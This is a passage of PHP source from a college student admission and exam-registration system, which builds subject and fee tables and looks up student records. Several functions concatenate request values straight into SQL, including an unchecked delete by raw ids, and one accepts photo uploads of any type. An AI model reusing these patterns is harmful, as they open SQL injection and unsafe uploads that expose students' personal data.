if(($lobj_get_exsting_data[$h]['FMANDATORY']=='F') && $flag==0) { $name="name='focus'"; $flag=1; } else $name=''; $e_data.="<tr style='font-size:12px;' class='ui-widget-content jqgrow' >"; $e_data.="<td class='tbl_row_new' align='center'style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; padding:1px;'><input type='text' {$input_class} {$on_blur } {$name} {$read_only} align='center' {$focus_id} value='{$lobj_get_exsting_data[$h]['FSUBCODE']}' style = 'width:60px;{$border}'id='se_sub_code_{$id}'></td>"; $e_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' {$read_only} style = 'width:60px;border:none;' {$inp_class} value='{$lobj_get_exsting_data[$h]['FSUBSHORT']}' id='se_short_name_{$id}'></td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' {$read_only} style = 'width:290px;border:none;' {$inp_class} value='{$lobj_get_exsting_data[$h]['FSUBNAME']}' id='se_sub_name_{$id}'></td>"; $e_data.="</tr>"; $k++; $id++; } $k=0; for($j=0;$j<$remaining_count;$j++) { if($k%2==0) { $class='tbl_row'; $inp_class='tbl_row_input'; } else { $input_class='tbl_row1'; $inp_class='tbl_row1_input'; } if($j==0) $name="name='focus'"; else $name=''; $e_data.="<tr style='font-size:12px;' class='ui-widget-content jqgrow' >"; $e_data.="<td class='tbl_row_new' align='center' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:1px;'><input type='text' onkeydown='return keyboardSubjectAppearingPopup(event,this.id);' value='{$lobj_last_slno_execution[$j][FSUBCODE]}' onfocus=\$g_focus_element='se_sub_code_{$id}' {$name} onblur='getSubDetails(this.id,{$id});' align='center' style = 'width:60px;' maxlength='4' id='se_sub_code_{$id}'> </td>"; $e_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' tabindex=-1 readonly style = 'width:60px;border:none;' id='se_short_name_{$id}' value='{$lobj_last_slno_execution[$j][FSUBSHORT]}' ></td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' tabindex=-1 readonly style = 'width:290px;border:none;' id='se_sub_name_{$id}' value='{$lobj_last_slno_execution[$j][FSUBNAME]}' ></td>"; $e_data.="</tr>"; $k++; $id++; } } $e_data.="</table>"; $arr['html'] = $e_data; $arr['table_data'] = $lobj_get_true_sub_names; $arr['remaining_count'] = $remaining_count; $arr['total_count'] = $id; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } function getSubDetails($aobj_context) { $degree_code = $aobj_context->mobj_data["degree_code"]; $exam = $aobj_context->mobj_data["exam"]; $field_id = $aobj_context->mobj_data["field_id"]; $icode = $aobj_context->mobj_data["icode"]; $value = $aobj_context->mobj_data["value"]; $get_true_sub_names="select'{$field_id}' as 'field_id',{$icode} as 'icode', FSUBCODE,FSUBNAME,FSUBSHORT ,FMANDATORY from degree d inner join subject s on s.FDEGREE=d.FDEGREE and d.FEXAMNO=s.FEXAMNO where d.FDEGREE='{$degree_code}' and s.FEXAMNO='{$exam}' and ( FSUBCODE='{$value}' or FSUBSHORT='{$value}') "; $lobj_get_true_sub_names = $aobj_context->mobj_db->getRow($get_true_sub_names); if($lobj_get_true_sub_names) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_true_sub_names,0,"success"); return; } else { echo $aobj_context->mobj_output->ToJSONEnvelope($icode,-1,"Failure"); return; } } function getSlNoStudentDetails($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); //and FDELETED = 'F' $sl_no = "0000".$aobj_context->mobj_data["sl_no"]; $sl_no=substr($sl_no, -4); $degree = $aobj_context->mobj_data["degree"]; $get_student_details_slno = "select s.FSLNO,s.FDEGREE,d.FDESCPN,s.FEXAMNO,s.FCOLLCODE,s.FNAME, s.FFATNAME,s.FMOTNAME, DATE_FORMAT(s.FDOB,'%Y') as FDOB_Year , DATE_FORMAT(s.FDOB,'%b') as FDOB_month , DATE_FORMAT(s.FDOB,'%d') as FDOB_date , s.Fgender,s.FCASTE,s.FNATIONAL,s.FENGLISH,s.FCURRADD1, REG_FEE,EXAM_FEE,GRADE_CARD_FEE,TOTAL_FEE, s.FCURRADD2,s.FCURRADD3,s.FCURRADD4,s.FPERMADD1, s.FPERMADD2,s.FPERMADD3,s.FPERMADD4, s.FSUBDEGREE,s.FPHOTOPATH,s.FLATERAL_ENTRY, s.FBLOOD_GROUP,s.FCONTACT_NO,s.FEMAIL,s.FMOT_OCC,s.FFAT_OCC, s.FREC_ORDER_NO, DATE_FORMAT(s.FREC_ORDER_DATE,'%d/%m/%Y') as FREC_ORDER_DATE, s.FAFF_ORDER_NO, DATE_FORMAT(s.FAFF_ORDER_DATE,'%d/%m/%Y') as FAFF_ORDER_DATE, s.FRELIGION, ifnull(s.FDELETED,'F') as FDELETED from studadm s inner join degree d on d.FDEGREE=s.FDEGREE where s.FSLNO='{$sl_no}' and s.FDEGREE='{$degree}' and s.FCOLLCODE='{$_SESSION['collcode']}' and d.FEXAMNO='A';"; $lobj_get_student_details = $aobj_context->mobj_db->getRow($get_student_details_slno); if(!empty($lobj_get_student_details) && $lobj_get_student_details[FDELETED] == 'F' ) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_student_details,0,"success"); return; } else if(!empty($lobj_get_student_details) && $lobj_get_student_details[FDELETED] == 'T' ) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_student_details,-1,"Disabled"); return; } else if(empty($lobj_get_student_details) ) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_student_details,-2,"Failure"); return; } } function generateAutoIncrementSlNo($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $degree = $aobj_context->mobj_data["degree"]; $get_generateAutoIncrementSlNo = "select right(concat('0000',ifnull(max(FSLNO),0)+01),4) as FSLNO from studadm where FDEGREE='{$degree}' and FCOLLCODE='{$_SESSION['collcode']}'"; //echo $get_generateAutoIncrementSlNo; $lobj_get_generateAutoIncrementSlNo = $aobj_context->mobj_db->getRow($get_generateAutoIncrementSlNo); if($lobj_get_generateAutoIncrementSlNo) { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_generateAutoIncrementSlNo['FSLNO'],0,"success"); return; } else { echo $aobj_context->mobj_output->ToJSONEnvelope($lobj_get_student_details,-1,"success"); return; } } function DiaplayUserSelectedPhoto($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); session_start(); $collcode = $_SESSION['collcode']; $user_id = $_SESSION['user_id']; $college_path=$aobj_context->main_src."/student_photos/{$college_code}"; $folder_path=$aobj_context->main_src."/student_photos/{$college_code}/".replaceChars($degree_code); $file_name=replaceChars(basename($_FILES['student_entry_upload']['name'])); $path_arr=pathinfo($_FILES['student_entry_upload']['name']); $file_ext=$path_arr['extension']; $temp_path=$aobj_context->main_src."/student_photos/temp"; if(!file_exists($temp_path)) { mkdir($temp_path); } $file_path="/{$collcode}_{$user_id}_{$file_name}"; $temp_path.=$file_path; if(isset($_FILES['student_entry_upload']['name']) && $_FILES['student_entry_upload']['name'] != '') { $size=($_FILES['student_entry_upload']['size']/1024); if($size>1024) { $data="Please Upload the Photo of size less than 1 MB"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-2,"success"); return; } if(move_uploaded_file($_FILES['student_entry_upload']['tmp_name'],$temp_path)) { $data="student_photos/temp/{$file_path}"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"success"); return; } } echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"failure"); return; } function ViewStudentDetails($aobj_context) { session_start(); $college_code = $_SESSION['collcode']; include_once($aobj_context->main_src.'/src/display_details_in_grid_custom.php'); $display_obj=new display_details_in_grid($aobj_context); $display_obj->table_cols=array('grid_sl_no','grid_degree','grid_sub_degree','grid_exam','grid_name','created_by'); $display_obj->display_qry="select concat(FDEGREE,FSLNO) as id, FSLNO as grid_sl_no, FDEGREE as grid_degree,FSUBDEGREE as grid_sub_degree, FEXAMNO as grid_exam, FNAME as grid_name, concat(real_name,date_format(FLOGDATE,' %d-%b-%Y')) as created_by from studadm st left join s_sysdb s on s.internal_code=FUSERID where 1=1 and ifnull(st.FDELETED,'F')='F' and (FREGNO='' or FREGNO is null) and FCOLLCODE='{$college_code}'"; $display_obj->DisplayDetailsInGrid(); } function deleteStudentDetails($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $lstr_ids = $aobj_context->mobj_data["id"]; $lstr_qry = "delete from studadm where internal_code in (".$lstr_ids.")"; // echo $lstr_qry $lobj_rs = $aobj_context->mobj_db->Execute($lstr_qry); } function GetCombinationFeeList($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $fdegree = $aobj_context->mobj_data["fdegree"]; $fexamno = $aobj_context->mobj_data["fexamno"]; $fcombcode = $aobj_context->mobj_data["fcombcode"]; $fcombcode = 'EXAM'; $fcatcode = $aobj_context->mobj_data["fcatcode"]; $fsl_no = $aobj_context->mobj_data["fsl_no"]; session_start(); $collcode = $_SESSION['collcode']; $get_year="SELECT FADYEAR FROM degree WHERE FDEGREE='{$fdegree}' AND FEXAMNO='{$fexamno}'"; $lobj_get_year = $aobj_context->mobj_db->getRow($get_year); $year=$lobj_get_year['FADYEAR']; $get_details="select a.FHEADCODE,FFEE,ifnull(FAMOUNT ,FFEE) as fee_paid from (SELECT FHEADCODE,FFEE, FCOMBCODE,FCATCODE FROM admfeestr WHERE FYEAR='{$year}' AND FDEGREE='{$fdegree}' AND FEXAMNO='{$fexamno}' AND FCOMBCODE='{$fcombcode}' AND FCATCODE='{$fcatcode}')a left join ( SELECT FHEADCODE,FAMOUNT FROM admfeedetl where FYEAR='{$year}' AND FDEGREE='{$fdegree}' AND FEXAMNO='{$fexamno}' AND FCOLLCODE='{$collcode}' AND FSLNO='{$fsl_no}' ) b on a.FHEADCODE=b.FHEADCODE"; $lobj_rs = $aobj_context->mobj_db->GetAll($get_details); // var_dump($get_details); $str_reval=""; $str_reval.="<table width='60%' style='padding:3px 4px 3px 3px;' class='tr_ventor_row' id='reval_table_data' width='100%' border='0' cellspacing='0' cellpadding='0'>"; $str_reval.="<th align='left' colspan='4' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Fee Details</th>"; $str_reval.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $str_reval.="<td align='center' style=' font-size:12px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>SL No</td>"; $str_reval.="<td align='center' style=' font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>FHEADCODE</td>"; $str_reval.="<td align='center' style=' font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Fee</td>"; $str_reval.="<td align='center' style=' font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Paying Now</td>"; $str_reval.="</tr>"; $sl_no=1; $total=0; $total_fee_paid=0; foreach($lobj_rs as $ak=>$av) { $FHEADCODE=$av['FHEADCODE']; $FFEE=$av['FFEE']; $fee_paid=$av['fee_paid']; $total+=$FFEE; $total_fee_paid+=$fee_paid; $str_reval.="<tr class='ui-widget-content jqgrow'>"; $str_reval.="<td class='tbl_row_new' style='text-align:center; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px; ' >{$sl_no}</td>"; $str_reval.="<td class='tbl_row_new' style='border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;' align='right' id='head_{$sl_no}'>{$FHEADCODE}</td>"; $str_reval.="<td class='tbl_row_new' style='border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;'align='right' >{$FFEE}</td>"; $str_reval.="<td class='tbl_row_new' style='border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;' align='right'><input onblur=\"CalculateTotalFeePaid();if(this.value<{$FFEE}) {alert('you cannot enter less that {$FFEE}'); this.value='{$fee_paid}'; }\" onkeypress='return acceptNumbersOnlyForModule(event);' type='text' style='text-align:right;'id='fee_paying_{$sl_no}' value='{$fee_paid}'/></td>"; $str_reval.="</tr>"; $sl_no++; } $str_reval.="<tr class='ui-widget-content jqgrow' style='font-weight:bold;'>"; $str_reval.="<td colspan=2 class='tbl_row_new' style='text-align:center; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;' align='right'>Total </td>"; $str_reval.="<td class='tbl_row_new' style='border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;' align='right' id='total_comb_fee'>{$total}</td>"; $str_reval.="<td class='tbl_row_new' style='border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;' align='right' id='total_fee_paid'>{$total_fee_paid}</td>"; $str_reval.="</tr>"; $str_reval.="</table>"; $arr['html']= $str_reval; print_r($aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success")); return $html; } function getstudentdetails($aobj_context) { $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $regno = $aobj_context->mobj_data["regno"]; session_start(); $college_code = $_SESSION['collcode']; $query = "select s.FSLNO,s.FDEGREE,d.FDESCPN,cs.ffreshexam as FEXAMNO , s.FCOLLCODE,s.FNAME, s.fregno, s.FFATNAME,s.FMOTNAME, DATE_FORMAT(s.FDOB,'%Y') as FDOB_Year , DATE_FORMAT(s.FDOB,'%b') as FDOB_month , DATE_FORMAT(s.FDOB,'%d') as FDOB_date , s.Fgender,s.FCASTE,s.FNATIONAL,s.FENGLISH,s.FCURRADD1, REG_FEE,EXAM_FEE,GRADE_CARD_FEE,TOTAL_FEE, s.FCURRADD2,s.FCURRADD3,s.FCURRADD4,s.FPERMADD1, s.FPERMADD2,s.FPERMADD3,s.FPERMADD4, s.FSUBDEGREE,s.FPHOTOPATH,s.FLATERAL_ENTRY,s.FBLOOD_GROUP, s.FCONTACT_NO,s.FEMAIL,s.FMOT_OCC,s.FFAT_OCC, s.FREC_ORDER_NO, DATE_FORMAT(s.FREC_ORDER_DATE,'%d/%m/%Y') as FREC_ORDER_DATE, s.FAFF_ORDER_NO, DATE_FORMAT(s.FAFF_ORDER_DATE,'%d/%m/%Y') as FAFF_ORDER_DATE, s.FRELIGION, ifnull(s.FDELETED,'F') as FDELETED from student s inner join degree d on d.FDEGREE = s.FDEGREE inner join candsum cs on s.fregno = cs.fregno and s.fdegree = cs.fdegree where s.fregno = '{$regno}' and s.FCOLLCODE='{$college_code}' and d.FEXAMNO='A'"; $results = $aobj_context->mobj_db->getRow($query); if($results) { } else { $arr['message'] = 'Invaild Register Number'; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,-1,"failure"); return; } $arr['perdet'] = $results; $query = "select fdegree,ffreshexam from candsum where fregno = '{$regno}'"; $results = $aobj_context->mobj_db->getRow($query); $degree = $results['fdegree']; $ffreshexam = $results['ffreshexam']; $query = "select ftotsub from degree where fdegree = '{$degree}' and fexamno = '{$ffreshexam}'"; $results = $aobj_context->mobj_db->getRow($query); //var_dump($query); $max_limit = $results['ftotsub']; $query = "select c.FSUBCODE,s.FSUBNAME,ifnull(c.FPASSMTH,'') as FPASSMTH, s.FSUBSHORT AS FSUBSHORT,c.FEXAMTYPE, ifnull(c.FPRESENT,'N') as FPRESENT, if(c.FINSERTED='','F',c.FINSERTED) as FINSERTED from canddet c inner join subject s on s.FDEGREE = c.FDEGREE and s.fexamno = c.fexamno and s.FSUBCODE=c.FSUBCODE where c.FCOLLCODE='{$college_code}' and c.FDEGREE='{$degree}' and c.FEXAMNO='{$ffreshexam}' and c.FREGNO='{$regno}' group by c.FSUBCODE limit {$max_limit}"; $results = $aobj_context->mobj_db->getAll($query); //var_dump($query); // get true sub Names $e_data.="<table width='94%' class='tr_ventor_row' cellspacing='0' cellpadding='0' border='0' >"; $e_data.="<tr style='font-size:12px;' class='ui-state-default ui-jqgrid-hdiv'>"; $e_data.="<td style='padding:2px; width:60px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Sub Code</td>"; $e_data.="<td style='padding:2px; width:65px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Short Name</td>"; $e_data.="<td style='padding:2px; width:65px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Subject Name</td>"; $e_data.="</tr>"; $k=0; $id=0; $remaining_count = $max_limit - count($results); for($h=0;$h<count($results);$h++) { if($k%2 == 0) { $class = 'tbl_row'; $inp_class = 'tbl_row_input'; } else { $input_class='tbl_row1'; $inp_class='tbl_row1_input'; } $e_data.="<tr style='font-size:12px;' class='ui-widget-content jqgrow' >"; $e_data.="<td class='tbl_row_new' align='center'style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; padding:1px;'> <input type='text' {$input_class} Disabled align='center' value='{$results[$h]['FSUBCODE']}' style = 'width:60px;{$border}'id='se_sub_code_{$id}'></td>"; $e_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' {$read_only} Disabled style = 'width:60px;border:none;' {$inp_class} value='{$results[$h]['FSUBSHORT']}' id='se_short_name_{$id}'></td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' {$read_only} style = 'width:290px;border:none;' Disabled {$inp_class} value='{$results[$h]['FSUBNAME']}' id='se_sub_name_{$id}'></td>"; $e_data.="</tr>"; $k++; $id++; } $k=0; for($j=0;$j<$remaining_count;$j++) { if($k%2==0) { $class='tbl_row'; $inp_class='tbl_row_input'; } else { $input_class='tbl_row1'; $inp_class='tbl_row1_input'; } if($j==0) $name = "name='focus'"; else $name=''; $e_data.="<tr style='font-size:12px;' class='ui-widget-content jqgrow' >"; $e_data.="<td class='tbl_row_new' align='center' style='border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:1px;'><input type='text' onkeydown='return keyboardSubjectAppearingPopup(event,this.id);' onfocus=\$g_focus_element='se_sub_code_{$id}' {$name} onblur='getSubDetails(this.id,{$id});' align='center' style = 'width:60px;' maxlength='4' id='se_sub_code_{$id}'> </td>"; $e_data.="<td class='tbl_row_new' align='center' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' tabindex=-1 readonly style = 'width:60px;border:none;' id='se_short_name_{$id}' ></td>"; $e_data.="<td class='tbl_row_new' style='border-right:1px solid #C5DBEC; padding:2px;'><input type='text' tabindex=-1 readonly style = 'width:290px;border:none;' id='se_sub_name_{$id}'></td>"; $e_data.="</tr>"; $k++; $id++; } $query = "SELECT FHEADCODE,FFEE, FCOMBCODE,FCATCODE FROM admfeestr WHERE FDEGREE = '{$degree}' AND FEXAMNO = '{$ffreshexam}' AND FCOMBCODE = 'ADM' AND FCATCODE = 'GM'"; $lobj_rs = $aobj_context->mobj_db->GetAll($query); // var_dump($get_details); $str_reval=""; $str_reval.="<table width='60%' style='padding:3px 4px 3px 3px;' class='tr_ventor_row' id='reval_table_data' width='100%' border='0' cellspacing='0' cellpadding='0'>"; $str_reval.="<th align='left' colspan='3' class='ui-jqgrid-titlebar ui-widget-header ui-corner-tl ui-corner-tr ui-helper' style='font-size:12px; padding-left:6px; height:24px;'>Fee Details</th>"; $str_reval.="<tr class='ui-state-default ui-jqgrid-hdiv'>"; $str_reval.="<td align='center' style=' font-size:12px; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Sl. No.</td>"; $str_reval.="<td align='center' style=' font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Head Code</td>"; $str_reval.="<td align='center' style=' font-size:12px;dispay:none; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;display:none;'>Fee</td>"; $str_reval.="<td align='center' style=' font-size:12px; border-right:1px solid #C5DBEC; border-bottom:1px solid #C5DBEC;'>Fee</td>"; $str_reval.="</tr>"; $sl_no=1; $total=0; $total_fee_paid=0; foreach($lobj_rs as $ak=>$av) { $FHEADCODE=$av['FHEADCODE']; $FFEE=$av['FFEE']; $fee_paid=$av['fee_paid']; $total+=$FFEE; $total_fee_paid+=$fee_paid; $str_reval.="<tr class='ui-widget-content jqgrow'>"; $str_reval.="<td class='tbl_row_new' style='text-align:center; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px; ' >{$sl_no}</td>"; $str_reval.="<td class='tbl_row_new' style='border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;' align='left' id='head_{$sl_no}'>{$FHEADCODE}</td>"; $str_reval.="<td class='tbl_row_new' style='border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;display:none;'align='right' >{$FFEE}</td>"; $str_reval.="<td class='tbl_row_new' style='border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;' align='right'><input onblur=\"CalculateTotalFeePaid();if(this.value<{$FFEE}) {alert('you cannot enter less that {$FFEE}'); this.value='{$FFEE}'; }\" onkeypress='return acceptNumbersOnlyForModule(event);' type='text' style='text-align:right;'id='fee_paying_{$sl_no}' value='{$FFEE}'/></td>"; $str_reval.="</tr>"; $sl_no++; } $str_reval.="<tr class='ui-widget-content jqgrow' style='font-weight:bold;'>"; $str_reval.="<td colspan=2 class='tbl_row_new' style='text-align:center; border-left:1px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;' align='right'>Total </td>"; $str_reval.="<td class='tbl_row_new' style='border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;display:none;' align='right' id='total_comb_fee'>{$total}</td>"; $str_reval.="<td class='tbl_row_new' style='border-left:0px solid #C5DBEC; border-right:1px solid #C5DBEC; padding:2px; font-size:12px;' align='right' id='total_fee_paid'>{$total_fee_paid}</td>"; $str_reval.="</tr>"; $str_reval.="</table>"; $arr['html']= $str_reval; $arr['totsub'] = $max_limit; $arr['table'] = $e_data; $arr['fee_table'] = $str_reval; $arr['remaining_count'] = $remaining_count; $arr['total_count'] = $id; echo $aobj_context->mobj_output->ToJSONEnvelope($arr,0,"success"); return; } ?>
Close